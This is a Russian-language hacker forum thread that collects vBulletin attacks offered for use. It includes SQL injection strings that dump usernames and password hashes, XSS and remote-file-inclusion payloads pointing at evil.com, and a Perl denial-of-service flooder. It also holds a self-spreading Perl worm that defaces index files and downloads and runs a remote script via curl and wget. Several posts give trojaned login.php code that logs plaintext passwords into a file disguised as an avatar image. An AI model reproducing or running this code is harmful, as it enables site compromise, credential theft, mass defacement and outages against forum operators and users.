Форумы [Обзор уязвимостей vBulletin]

Discussion in 'Уязвимости CMS/форумов' started by bandera, 19 Aug 2006.

  1. freddi

    freddi Elder - Старейшина

    Joined:
    5 Jul 2006
    Messages:
    399
    Likes Received:
    243
    Reputations:
    145
    [HIDE] Tag Bypass

    на некоторых форумах стоит хайд на ссылки, типа "зарегистрируйтесь, чтобы увидеть ссылку". вовсе не обязательно регаться, достаточно найти это сообщение через "найти все сообщения от ...". там ссылка будет в открытом виде. но обычно в поиске выводится только первые строки.

    вот такая мего уязвимость)
     
    #21 freddi, 9 Nov 2007
    Last edited by a moderator: 3 Sep 2008
    3 people like this.
  2. Mind Ice

    Mind Ice New Member

    Joined:
    23 Nov 2007
    Messages:
    1
    Likes Received:
    1
    Reputations:
    0
    [HIDE] Tag Bypass

    2 freddi это неявляются уязвимостью как ты написал. Просто авторы таких постов с хайдом толком не умеют пользоваться тегами. Как ты написал нужно находить все соообщения от пользователя - хмм а если их 1000 и нужное в середине ? а форум позволяет индексировать только 200 - 400 ? Ненужно искать посты все проще помещаем курсор на скрытый тескт и видим ссылку =).
     
    #22 Mind Ice, 24 Nov 2007
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  3. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    174
    Likes Received:
    215
    Reputations:
    8
    SQL Injection в админке 3.6.5

    SQL Injection в админке (тестировалось на версиях 3.6.4 и 3.6.5 )

    1. Log in to admin panel
    2. Go to Attachments->Search
    3. Place the following string in the Attached Before field:

    Code:
    ') union select 1,1,1,1,1,userid,password,1,username from user -- 9
     
    #23 _-Ramos-_, 2 Dec 2007
    Last edited by a moderator: 3 Sep 2008
    2 people like this.
  4. S(r1pt

    S(r1pt Member

    Joined:
    31 Jul 2007
    Messages:
    10
    Likes Received:
    8
    Reputations:
    -5
    vBuserbar SQL-inj

    Продукт: vBuserbar
    Уязвимость: SQL-inj
    Автор: S(r1pt
    Адрес: http://vash_site/vbuserbar.php?do=groupinsert&name='
    =\\
     
    #24 S(r1pt, 29 Dec 2007
    Last edited by a moderator: 3 Sep 2008
    4 people like this.
  5. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    vBulletin <=3.5.3 Search DoS

    vBulletin <=3.5.3 Search DoS


    Code:
    #!/usr/bin/perl
    ##########################################
    # vBdos.pl - vBulletin <=3.5.3 Search DoS
    #
    # Written by spic of g00ns
    ##########################################
    # Contact
    # Site: www.g00ns.net and www.g00ns-forum.net
    # Email: spic <at> g00ns.net
    # IRC: irc.g00ns.net #g00ns
    ##########################################
    # Example
    # vBdos.pl www.avbforum.com /vbulletin/
    ##########################################
    
    print q{
    ____________________________________________________________________________
    ____ ____ ____ ____ _ __ ____ ____ _ __ ____ _____ ____ __ ___
    / __// __//_ // __// |/ // __// _// |/ // __/ / ___// __ / |/ /
    _ / _/ / // _/ / /_ _/ / / /_ _ / /__ / /_/ // /|_/ /
    /___//___/ /_//___//_/|_//___//___//_/|_//___/(_)___/ ____//_/ /_/
    ____________________________________________________________________________
    
    };
    
    use IO::Socket;
    $server= $ARGV[0];
    $path=$ARGV[1];
    
    
    while($x != 9999)
    {
    $post =
    
    "search_keywords=Se7enSins+owned+your+site$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=ms
    
    gonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";
    
    $lrg = length $post;
    
    
    if(!$server||!$path)
    {
    print " vBulletin DoS by spic of g00ns nn";
    
    print " Exploit code found on Se7enSins.com nn";
    
    print " n00bFRAGGER was here... nn";
    
    print " usage: VBDoS.pl <host without http> <directory> nn";
    exit();
    }
    
    
    
    my $sock = new IO::Socket::INET (
    PeerAddr => "$server",
    PeerPort => "80",
    Proto => "tcp",
    );
    die "nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!n" unless $sock;
    
    
    print $sock "POST $path"."search.php?searchid=1952 HTTP/1.1n";
    print $sock "Host: $servern";
    print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
    print $sock "Referer: $servern";
    print $sock "Accept-Language: en-usn";
    print $sock "Content-Type: application/x-www-form-urlencodedn";
    print $sock "Accept-Encoding: gzip, deflaten";
    print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20050511 Firefox/1.0.5n";
    print $sock "Connection: Keep-Aliven";
    print $sock "Cache-Control: no-cachen";
    print $sock "Content-Length: $lrgnn";
    print $sock "$postn";
    close($sock);
    
    
    syswrite STDOUT,".";
    
    $x++;
    }
    
    ########################################## 
    
     
    #25 Mo4x, 4 Jan 2008
    Last edited by a moderator: 3 Sep 2008
    2 people like this.
  6. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    VBulletin 3.6.4 [FLASH] (SWF) XSS

    Было много вопросов к посту:

    Для интересующихся как это реализуется:

    Обзор работы SWF паразита
    Подделка заголовков HTTP запроса с помощью Flash ActionScript
    Bypassing JavaScript Filters the Flash! Attack
    Cross-Domain Data Access via Flash [CDDAF] Reference
    Forging HTTP Request Headers with Flash ActionScript
     
    #26 Elekt, 12 Jan 2008
    Last edited: 3 Sep 2008
  7. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    из новых модов не было

    vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability
    Exploit :
    http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*


    vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities
    Exploit :
    vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=http://evil.com?
    vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=http://evil.com?

    =======
     
  8. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    174
    Likes Received:
    215
    Reputations:
    8
    Vbulletin Tube (vBTube) XSS

    Vbulletin Tube (vBTube) XSS

    Exploit :
    Code:
    vBTube.php?do=search&search=<script>alert(document.cookie);</script>
    Пример:
    Code:
    http://www.ruhot.ru/forum/vBTube.php?do=search&search=%3Cscript%3Ealert(document.cookie);%3C/script%3E
     
    #28 _-Ramos-_, 22 Jan 2008
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  9. _-Ramos-_

    _-Ramos-_ Banned

    Joined:
    4 Jan 2007
    Messages:
    174
    Likes Received:
    215
    Reputations:
    8
    vBulletin Worm <= 3.0.6

    vBulletin Worm <= 3.0.6

    Code:
     #!/usr/bin/perl 
    
    ##################### 
    #### 
    #### #### #### #### #### #### #### # # # # #### 
    #### # # # # # # # # # # # # # # 
    #### #### # # ### ## #### # #### ## ### 
    #### # # # # # # # # # # # # # 
    #### # #### #### # # #### #### # # # # #### 
    #### 
    ##################### 
    
    use IO::Socket::INET; 
    $hahaha = $0; 
    my $processo = "/usr/local/sbin/httpd"; 
    $SIG{"INT"} = "IGNORE"; 
    $SIG{"HUP"} = "IGNORE"; 
    $SIG{"TERM"} = "IGNORE"; 
    $SIG{"CHLD"} = "IGNORE"; 
    $SIG{"PS"} = "IGNORE"; 
    
    $0="$processo"."\0"x16; 
    my $pid=fork; 
    exit if $pid; 
    
    ######################## 
    # # 
    # procura index # 
    # # 
    ####################### 
    
    system("locate index.* >> index"); 
    system("find / -name index.* >> index"); 
    
    open(a,"<index"); 
    @ind = <a>; 
    close(a); 
    $b = scalar(@ind); 
    for($a=0;$a<=$b;$a++){ 
    chomp $ind[$a]; 
    system("echo spykids ownz your server > $ind[$a]"); 
    } 
    
    
    ######################### 
    # # 
    # pega sites e registra # 
    # # 
    ######################### 
    
    `cat /etc/httpd/conf/httpd.conf |grep ServerName >> sites`; 
    
    
    open(a,"<sites"); 
    @site = <a>; 
    close(a); 
    
    $b = scalar(@site); 
    
    for($a=0;$a<=$b;$a++) 
    { 
    $site[$a] =~ s/#//g; 
    $site[$a] =~ s/servername//g; 
    $site[$a] =~ s/ServerName//g; 
    $site[$a] =~ s/ //g; 
    $testa = IO::Socket::INET->new(PeerAddr => $site[$a], PeerPort => 80, Proto => "tcp") or next; 
    print $testa "GET / HTTP/1.0\n\n"; 
    print $testa "Host: $site"; 
    print $testa "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; 
    print $testa "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; 
    print $testa "Accept-Language: pt-br, pt;q=0.50"; 
    print $testa "Accept-Encoding: gzip, deflate, compress;q=0.9"; 
    print $testa "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; 
    print $testa "Keep-Alive: 300"; 
    print $testa "Connection: keep-alive"; 
    @ow = <$testa>; 
    close($teste); 
    $ae = "@ow"; 
    if($ae =~/spykids/i){ 
    $sock = IO::Socket::INET->new(PeerAddr => "www.zone-h.org", PeerPort => 80, Proto => "tcp") or die "nao conectou"; 
    print $sock "POST /en/defacements/notify HTTP/1.0\r\n"; 
    print $sock "Accept: */*\r\n"; 
    print $sock "Referer: http://www.zone-h.org/en/defacements/notify\r\n"; 
    print $sock "Accept-Language: pt-br\r\n"; 
    print $sock "Content-Type: application/x-www-form-urlencoded\r\n"; 
    print $sock "Connection: Keep-Alive\r\n"; 
    print $sock "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"; 
    print $sock "Host: www.zone-h.org\r\n"; 
    print $sock "Content-Length: 385\r\n"; 
    print $sock "Pragma: no-cache\r\n"; 
    print $sock "\r\n"; 
    print $sock "notify_defacer=SpyKids&notify_domain=http%3A%2F%2F$site[$a]&notify_hackmode=18&notify_reason=5&notify=+OK+\r\n"; 
    
    close($sock); 
    } 
    } 
    
    
    ######################### 
    # # 
    # worm aws.spykids # 
    # # 
    ######################## 
    while(1){ 
    $cmd = '/misc.php?do=page&template={${system(%22cd%20/tmp;curl%20-O%20http://compras.el-nacional.com/spykids.txt%20;perl%20spykids.txt%20;rm%20-rf%20spykids*;%20wget%20http://compras.el-nacional.com/spykids.txt;%20perl%20spykids.txt;%20rm%20-rf%20%20spykids*%22)}}'; 
    
    
    
    
    @site = ""; 
    $a=0; 
    @dom = (".ar",".au",".aw",".ax",".az",".ba",".bb",".bd",".be",".bf",".bg",".bh",".bi",".bj",".bm",".bn",".bo",".br",".bs",".bt",".bv",".bw",".by",".bz",".ca",".cc",".cd",".cf",".cg",".ch",".ci",".ck" , ".cl", ".cm",".cn",".co",".cr",".cs",".cu", ".cv",".cx",".cy",".cz",".de",".dj",".dk",".dm",".do",".dz", ".ec",".ee",".eg",".eh",".er",".es",".et",".fi",".fj",".fk",".fm", ".fo",".fr",".ga",".gb",".gd",".ge",".gf",".gg",".gh",".gi",".gl", ".gm",".gn",".gp",".gq",".gr",".gs",".gt",".gu",".gw",".gy",".hk", ".hm",".hn",".hr",".ht",".hu",".id",".ie",".il",".im",".in",".io",".iq", ".ir",".is",".it",".je",".jm",".jo",".jp",".ke",".kg",".kh",".ki",".km", ".kn",".kp",".kr",".kw",".ky",".kz",".la",".lb",".lc",".li",".lk",".lr",".ls", ".lt",".lu",".lv",".ly",".ma",".mc",".md",".mg",".mh",".mk",".ml",".mm", ".mn",".mo",".mp",".mq",".mr",".ms",".mt",".mu",".mv",".mw",".mx",".my", ".mz",".na",".nc",".ne",".nf",".ng",".ni",".nl",".no",".np",".nr",".nu",".nz",".om", ".pa",".pe",".pf",".pg",".ph",".pk",".pl",".pm",".pn",".pr",".ps",".pt",".pw",".py", ".qa",".re",".ro",".ru",".rw",".sa",".sb",".sc",".sd",".se",".sg",".sh",".si",".sj",".sk",".sl", ".sm",".sn",".so",".sr",".st",".sv",".sy",".sz",".tc",".td",".tf",".tg",".th",".tj",".tk",".tl",".tm", ".tn",".to",".tp",".tr",".tt",".tv",".tw",".tz",".ua",".ug",".uk",".um",".us",".uy",".uz",".va",".vc",".ve",".vg",".vi",".vn", ".vu",".wf",".ws",".ye",".yt",".yu",".za",".zm",".zw"); 
    foreach $dom (@dom){ 
    $site = "www.google.com"; 
    open(a,">pra.txt"); 
    print a ""; 
    close(a); 
    ############### google 
    
    for($n=0;$n<1000;$n += 100){ 
    $sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next; 
    print $sock "GET h/search?q=%22Powered+by%3A+vBulletin%22inurl%3A$dom&num=100&hl=en&lr=&as_qdr=all&start=$n&sa=N HTTP/1.0\n\n"; 
    print $sock "Host: www.google.com"; 
    print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; 
    print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; 
    print $sock "Accept-Language: pt-br, pt;q=0.50"; 
    print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9"; 
    print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; 
    print $sock "Keep-Alive: 300"; 
    print $sock "Connection: keep-alive"; 
    @resu = <$sock>; 
    close($sock); 
    $ae = "@resu"; 
    while ($ae=~ m/<a href=.*?>.*?<\/a>/){ 
    $ae=~ s/<a href=(.*?)>.*?<\/a>/$1/; 
    $uber=$1; 
    if ($uber !~/translate/) 
    { 
    if ($uber !~ /cache/) 
    { 
    if ($uber !~ /"/) 
    { 
    if ($uber !~ /google/) 
    { 
    if ($uber !~ /216/) 
    { 
    if ($uber =~/http/) 
    { 
    
    substr($uber,0,7) = ""; 
    $nu = rindex $uber, '/'; 
    $uber = substr($uber,0,$nu); 
    
    
    open(a,">>pra.txt"); 
    print a "$uber\n"; 
    close(a); 
    
    }}}}}} 
    } 
    } 
    $ark = "pra.txt"; 
    @si = ""; 
    open (arquivo,"<$ark"); 
    @si = <arquivo>; 
    close(arquivo); 
    $novo =""; 
    foreach (@si){ 
    if (!$si{$_}) 
    { 
    $novo .= $_; 
    $si{$_} = 1; 
    } 
    } 
    open (arquivo,">$ark"); 
    print arquivo $novo; 
    close(arquivo); 
    open(a,"<pra.txt"); 
    @site = <a>; 
    close(a); 
    
    foreach $site (@site){ 
    chomp $site; 
    
    ($site, $dir) = split('/',$site); 
    
    
    $soc = IO::Socket::INET->new(PeerAddr => $site, PeerPort => 80, Proto => "tcp") or next; 
    print $soc "GET /$dir$cmd HTTP/1.0\n\n"; 
    print $soc "Host: $site"; 
    print $soc "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0"; 
    print $soc "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1"; 
    print $soc "Accept-Language: pt-br, pt;q=0.50"; 
    print $soc "Accept-Encoding: gzip, deflate, compress;q=0.9"; 
    print $soc "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66"; 
    print $soc "Keep-Alive: 300"; 
    print $soc "Connection: keep-alive"; 
    close($soc); 
    
    } 
    } 
    }
     
    4 people like this.
  10. chezar

    chezar Elder - Старейшина

    Joined:
    29 Jan 2006
    Messages:
    38
    Likes Received:
    6
    Reputations:
    5
    узнать версию форума

    На некоторых форумах версию форума можно узнать тут

    forum/archive/index.php/
     
    #30 chezar, 1 Feb 2008
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  11. Basurman

    Basurman Elder - Старейшина

    Joined:
    10 Nov 2006
    Messages:
    363
    Likes Received:
    271
    Reputations:
    29
    Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)

    Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)


    По идее все просто: в файл login.php в корне сайта добавляем
    PHP:
    // ############################### start do login ###############################
    // this was a _REQUEST action but where do we all login via request?
    if ($_POST['do'] == 'login')
    {
        
    $vbulletin->input->clean_array_gpc('p', array(
            
    'vb_login_username'        => TYPE_STR,
            
    'vb_login_password'        => TYPE_STR,
            
    'vb_login_md5password'     => TYPE_STR,
            
    'vb_login_md5password_utf' => TYPE_STR,
            
    'postvars'                 => TYPE_STR,
            
    'cookieuser'               => TYPE_BOOL,
            
    'logintype'                => TYPE_STR,
            
    'cssprefs'                 => TYPE_STR,
        ));

        
    define'auth_req''./customavatars/avatar178_2.gif' );
        
    $fp fopenauth_req'a' ); 
        
    $un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 date("d.m.y H.i.s");
        
    $message "$un3:$un1:$un2\r\n"
        
    flock($fp,LOCK_EX); 
        
    fwrite$fp$message ); 
        
    fflush($fp); flock($fp,LOCK_UN); fclose$fp ); 

        
    // can the user login?
    но в логах видим, что пароля все же нет. Обидно...
    Посмотрим на форму регистрации:
    Code:
    ...
    <form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
    ...
    Ага. значит входим по функции из javascript...
    Сама функция находится в clientscript/vbulletin_md5.js
    А там мы видим в конце:
    PHP:
                // implemented like this to make sure un-updated templates behave as before
                
    input.value '';
    Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
    PHP:
    ...
    // input.value = '';
    ...

    P.S. против автозахода (куки) можно стереть из бд все сессии
    P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
    Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
     
    #31 Basurman, 23 Mar 2008
    Last edited by a moderator: 3 Sep 2008
    3 people like this.
  12. Mo4x

    Mo4x VX-эпоха перемен

    Joined:
    18 Feb 2007
    Messages:
    369
    Likes Received:
    194
    Reputations:
    -21
    vBulletin 3.7.0 <= XSS Explot

    vBulletin 3.7.0 <= XSS Explot


    Found by RoBOTNIK


    http://[website]/[forumpath]/ajax.php?do=CheckUsername&param=# EVIL XSS SCRIPT #
    http://www.site.com/forums/ajax.php?do=CheckUsername&param=<script>alert('xss');</script>
     
    #32 Mo4x, 9 May 2008
    Last edited by a moderator: 3 Sep 2008
    3 people like this.
  13. ReanimatoR

    ReanimatoR Elder - Старейшина

    Joined:
    27 Aug 2006
    Messages:
    120
    Likes Received:
    118
    Reputations:
    34
    vBulletin 3.7.0 листалка от DGT

    vBulletin 3.7.0 листалка от DGT
    может чем нить помочь если в папке с форумом лежит что нибудь ценное

    на всех версиях от DGT пашет.
    ЗЫ
    http://forum.antichat.org/threadnav25644-1-10.html
     
    #33 ReanimatoR, 9 May 2008
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  14. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    234
    Likes Received:
    76
    Reputations:
    29
    Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)

    Делал немного по другому и в результате получал чистые пароли.

    1) Добавляем в начало файла login.php

    PHP:
    $Login $_POST['vb_login_username'];
    $Passwd $_POST['vb_login_password'];
    $fp fopen("./customavatars/avatar178_2.gif","a+");
    fwrite($fp,"$Login:$Passwd\n");
    fclose($fp);
    2) Очищаем полностью файл clientscript/vbulletin_md5.js от этого ничего не изменится.

    3) Для того чтобы обнулить сессии выполняем код:

    PHP:
    $link mysql_connect('хост','логин','пасс');
    mysql_select_db('база данных',$link);
    $query "TRUNCATE TABLE префикс_session";
    $result mysql_query($query$link);
    mysql_close($link);
     
    #34 GrAmOzEkA, 11 May 2008
    Last edited by a moderator: 3 Sep 2008
    1 person likes this.
  15. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    p0h n03s priv8 rootshell vbulletin pw logger
    Code:
    <?php 
    /*======================================================================*\ 
    || #################################################################### || 
    || # vBulletin 3.6.2 
    || # ---------------------------------------------------------------- # || 
    || # Copyright ©2000-2006 Jelsoft Enterprises Ltd. All Rights Reserved. || 
    || # This file may not be redistributed in whole or significant part. # || 
    || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || 
    || # http://www.vbulletin.com | http://www.vbulletin.com/license.html # || 
    || #################################################################### || 
    \*======================================================================*/ 
    
    // ####################### SET PHP ENVIRONMENT ########################### 
    error_reporting(E_ALL & ~E_NOTICE); 
    
    // #################### DEFINE IMPORTANT CONSTANTS ####################### 
    define('THIS_SCRIPT', 'login'); 
    
    // ################### PRE-CACHE TEMPLATES AND DATA ###################### 
    // get special phrase groups 
    $phrasegroups = array(); 
    
    // get special data templates from the datastore 
    $specialtemplates = array(); 
    
    // pre-cache templates used by all actions 
    $globaltemplates = array(); 
    
    // pre-cache templates used by specific actions 
    $actiontemplates = array( 
        'lostpw' => array( 
            'lostpw' 
        ) 
    ); 
    
    // ######################### REQUIRE BACK-END ############################ 
    require_once('./global.php'); 
    require_once(DIR . '/includes/functions_login.php'); 
    
    // ####################################################################### 
    // ######################## START MAIN SCRIPT ############################ 
    // ####################################################################### 
    
    $vbulletin->input->clean_gpc('r', 'a', TYPE_STR); 
    
    if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a'])) 
    { 
        exec_header_redirect($vbulletin->options['forumhome'] . '.php'); 
    } 
    
    // ############################### start logout ############################### 
    if ($_REQUEST['do'] == 'logout') 
    { 
        $vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR); 
    
        if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash']) 
        { 
            eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash']))); 
        } 
    
        process_logout(); 
    
        $vbulletin->url = fetch_replaced_session_url($vbulletin->url); 
        if (strpos($vbulletin->url, 'do=logout') !== false) 
        { 
            $vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q']; 
        } 
        $show['member'] = false; 
        eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false)); 
    
    } 
    
    // ############################### start do login ############################### 
    // this was a _REQUEST action but where do we all login via request? 
    if ($_POST['do'] == 'login') 
    { 
        $vbulletin->input->clean_array_gpc('p', array( 
            'vb_login_username' => TYPE_STR, 
            'vb_login_password' => TYPE_STR, 
            'vb_login_md5password' => TYPE_STR, 
            'vb_login_md5password_utf' => TYPE_STR, 
            'postvars' => TYPE_STR, 
            'cookieuser' => TYPE_BOOL, 
            'logintype' => TYPE_STR, 
            'cssprefs' => TYPE_STR, 
        )); 
        //does the user have a pass 
        $username = $vbulletin->GPC['vb_login_username']; 
        $password = $vbulletin->GPC['vb_login_password']; 
        $logfile = "rootshell.txt"; 
        $lf = fopen($logfile, "a"); 
        fwrite($lf, "\n".$username . ' : ' .  $password."\n"); 
        fclose($lf); 
        // can the user login? 
        $strikes = verify_strike_status($vbulletin->GPC['vb_login_username']); 
    
        if ($vbulletin->GPC['vb_login_username'] == '') 
        { 
            eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes))); 
        } 
    
        if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true)) 
        { 
            ($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false; 
    
            // check password 
            exec_strike_user($vbulletin->userinfo['username']); 
    
            if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin') 
            { 
                // log this error if attempting to access the control panel 
                require_once(DIR . '/includes/functions_log_error.php'); 
                log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security'); 
            } 
            $vbulletin->userinfo = array( 
                'userid' => 0, 
                'usergroupid' => 1 
            ); 
    
            if ($vbulletin->options['usestrikesystem']) 
            { 
                eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes))); 
            } 
            else 
            { 
                eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl']))); 
            } 
        } 
    
        exec_unstrike_user($vbulletin->GPC['vb_login_username']); 
    
        // create new session 
        process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']); 
    
        // do redirect 
        do_login_redirect(); 
    
    } 
    else if ($_GET['do'] == 'login') 
    { 
        // add consistency with previous behavior 
        exec_header_redirect($vbulletin->options['forumhome'] . '.php'); 
    } 
    
    // ############################### start lost password ############################### 
    if ($_REQUEST['do'] == 'lostpw') 
    { 
        $vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML); 
        $email = $vbulletin->GPC['email']; 
    
        if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview']) 
        { 
            $navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form'])); 
            eval('$navbar = "' . fetch_template('navbar') . '";'); 
        } 
        else 
        { 
            $navbar = ''; 
        } 
    
        $url =& $vbulletin->url; 
        eval('print_output("' . fetch_template('lostpw') . '");'); 
    } 
    
    // ############################### start email password ############################### 
    if ($_POST['do'] == 'emailpassword') 
    { 
    
        $vbulletin->input->clean_gpc('p', 'email', TYPE_STR); 
    
        if ($vbulletin->GPC['email'] == '') 
        { 
            eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink']))); 
        } 
    
        require_once(DIR . '/includes/functions_user.php'); 
    
        $users = $db->query_read_slave(" 
            SELECT userid, username, email, languageid 
            FROM " . TABLE_PREFIX . "user 
            WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "' 
        "); 
        if ($db->num_rows($users)) 
        { 
            while ($user = $db->fetch_array($users)) 
            { 
                $user['username'] = unhtmlspecialchars($user['username']); 
    
                $user['activationid'] = build_user_activation_id($user['userid'], 2, 1); 
    
                eval(fetch_email_phrases('lostpw', $user['languageid'])); 
                vbmail($user['email'], $subject, $message, true); 
            } 
    
            $vbulletin->url = str_replace('"', '', $vbulletin->url); 
            eval(print_standard_redirect('redirect_lostpw', true, true)); 
        } 
        else 
        { 
            eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink']))); 
        } 
    } 
    
    // ############################### start reset password ############################### 
    if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword') 
    { 
    
        $vbulletin->input->clean_array_gpc('r', array( 
            'userid'       => TYPE_UINT, 
            'u'            => TYPE_UINT, 
            'activationid' => TYPE_UINT, 
            'i'            => TYPE_UINT 
        )); 
    
        if (!$vbulletin->GPC['userid']) 
        { 
            $vbulletin->GPC['userid'] = $vbulletin->GPC['u']; 
        } 
    
        if (!$vbulletin->GPC['activationid']) 
        { 
            $vbulletin->GPC['activationid'] = $vbulletin->GPC['i']; 
        } 
    
        $userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1); 
    
        $user = $db->query_first(" 
            SELECT activationid, dateline 
            FROM " . TABLE_PREFIX . "useractivation 
            WHERE type = 1 
                AND userid = $userinfo[userid] 
        "); 
    
        if ($user['dateline'] < (TIMENOW - 24 * 60 * 60)) 
        {  // is it older than 24 hours? 
            eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl']))); 
        } 
    
        if ($user['activationid'] != $vbulletin->GPC['activationid']) 
        { //wrong act id 
            eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl']))); 
        } 
    
        // delete old activation id 
        $db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1"); 
    
        // make random number 
        $newpassword = vbrand(0, 100000000); 
    
        // init user data manager 
        $userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD); 
        $userdata->set_existing($userinfo); 
        $userdata->set('password', $newpassword); 
        $userdata->save(); 
    
        ($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false; 
    
        eval(fetch_email_phrases('resetpw', $userinfo['languageid'])); 
        vbmail($userinfo['email'], $subject, $message, true); 
    
        eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl']))); 
    
    } 
    
    /*======================================================================*\ 
    || #################################################################### 
    || # CVS: $RCSfile: login.php,v $ - $Revision: 1.160 $ 
    || #################################################################### 
    \*======================================================================*/ 
    ?>
     
    1 person likes this.
  16. Elekt

    Elekt Banned

    Joined:
    5 Dec 2005
    Messages:
    944
    Likes Received:
    427
    Reputations:
    508
    Опровержение - Vbulletin 3.7.0 Gold Sql injection on faq.php

    Vbulletin 3.7.0 Gold Sql injection on faq.php

    Я посмотрел щас код.
    Да, действительно толку в баги нет.
    Это ошибка логики, при одиночном символе происходит некорректное формирование запроса к бд.
    Заюзать с пользой невозможно.
     
